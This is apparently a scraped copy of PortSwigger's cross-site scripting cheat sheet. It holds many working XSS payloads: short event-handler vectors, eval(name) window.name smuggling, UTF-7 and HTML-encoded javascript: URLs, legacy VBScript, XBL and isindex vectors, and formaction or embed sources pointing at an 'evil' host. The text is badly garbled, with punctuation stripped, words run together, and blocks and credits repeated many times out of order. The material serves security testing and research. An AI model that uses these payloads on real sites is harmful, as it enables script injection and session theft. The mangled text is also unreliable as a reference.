The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
Set windowname via target attribute in a ltbasegt tag ltbase target=alert(1)gtlta href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in base tagltagt
Set windowname via target attribute in a ltagt tag lta target=alert(1) href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in a tagltagt
Set windowname via usemap attribute in a ltimggttag
Set windowname via target attribute in a ltformgt tag ltform action=httpsubdomain1portswigger-labsnetxssxssphp target=alert(1)gtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit value=XSS via target in a formgtltformgt
Set windowname via formtarget attribute in altinputgt tag type submit
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type submitgtltformgt
Set windowname via formtarget attribute in altinputgt tag type image
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput name=1 type=image src=validimagepng formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type imagegtltformgt
Special tags
Redirect to a different domain ltmeta http-equiv=refresh content=0 url=portswigger-labsnetgt
Meta charset attribute UTF-7 ltmeta charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
Meta charset UTF-7 ltmeta http-equiv=Content-Type content=texthtml charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 1
+v8 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 2
+v9 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 3
+v+ +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 4
Decimal encoding with optional semi-colon lta href=amp106avascriptalert(1)gtXSSltagtlta href=amp106avascriptalert(1)gtXSSltagt
SVG script with HTML encoding ltsvggtltscriptgtamp97lert(1)ltscriptgtltsvggt ltsvggtltscriptgtampx61lert(1)ltscriptgtltsvggt ltsvggtltscriptgtalertampNewLine(1)ltscriptgtltsvggt ltsvggtltscriptgtx=ampquotalert(1)ltscriptgtltsvggt
Decimal encoding with padded zeros lta href=amp0000106avascriptalert(1)gtXSSltagt
Iframe srcdoc HTML encoded ltiframe srcdoc=ampltscriptampgtalertamplpar1amprparampltampsolscriptampgtgtltiframegt
Iframe JavaScript URL with HTML and URL encoding ltiframe src=javascriptampx25ampx33ampx43ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45ampx61ampx6campx65ampx72ampx74ampx28ampx31ampx29ampx25ampx33ampx43ampx25ampx32ampx46ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45gtltiframegt
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
Decimal encoding with optional semi-colon lta href=amp106avascriptalert(1)gtXSSltagtlta href=amp106avascriptalert(1)gtXSSltagt
SVG script with HTML encoding ltsvggtltscriptgtamp97lert(1)ltscriptgtltsvggt ltsvggtltscriptgtampx61lert(1)ltscriptgtltsvggt ltsvggtltscriptgtalertampNewLine(1)ltscriptgtltsvggt ltsvggtltscriptgtx=ampquotalert(1)ltscriptgtltsvggt
Decimal encoding with padded zeros lta href=amp0000106avascriptalert(1)gtXSSltagt
Iframe srcdoc HTML encoded ltiframe srcdoc=ampltscriptampgtalertamplpar1amprparampltampsolscriptampgtgtltiframegt
Iframe JavaScript URL with HTML and URL encoding ltiframe src=javascriptampx25ampx33ampx43ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45ampx61ampx6campx65ampx72ampx74ampx28ampx31ampx29ampx25ampx33ampx43ampx25ampx32ampx46ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45gtltiframegt
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
Embed src ltembed src evil
Use textarea to consume markup and post toexternal site
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
